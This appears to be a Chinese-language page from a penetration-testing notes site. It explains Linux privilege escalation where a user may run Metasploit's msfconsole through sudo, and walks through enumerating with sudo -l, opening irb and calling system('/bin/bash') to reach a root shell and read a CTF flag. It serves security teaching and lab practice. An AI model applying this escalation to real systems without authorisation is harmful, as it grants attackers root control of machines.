> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-metasploit-linux-privilege-escalation.md).
# Sudo（Metasploit）- Linux 权限提升
Sudo（Metasploit）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（Metasploit）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
我们检查 `sudo` 权限：
```bash
sudo -l
```
我们发现我们可以运行 `Metasploit` 作为 `root`:
```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```
在 `msfconsole`，我们打开一个交互式 Ruby shell：
```ruby
irb
```
然后我们运行一个 Bash shell：
```ruby
system("/bin/bash")
```
我们现在 `root` 并且可以读取 flag `root.txt`!
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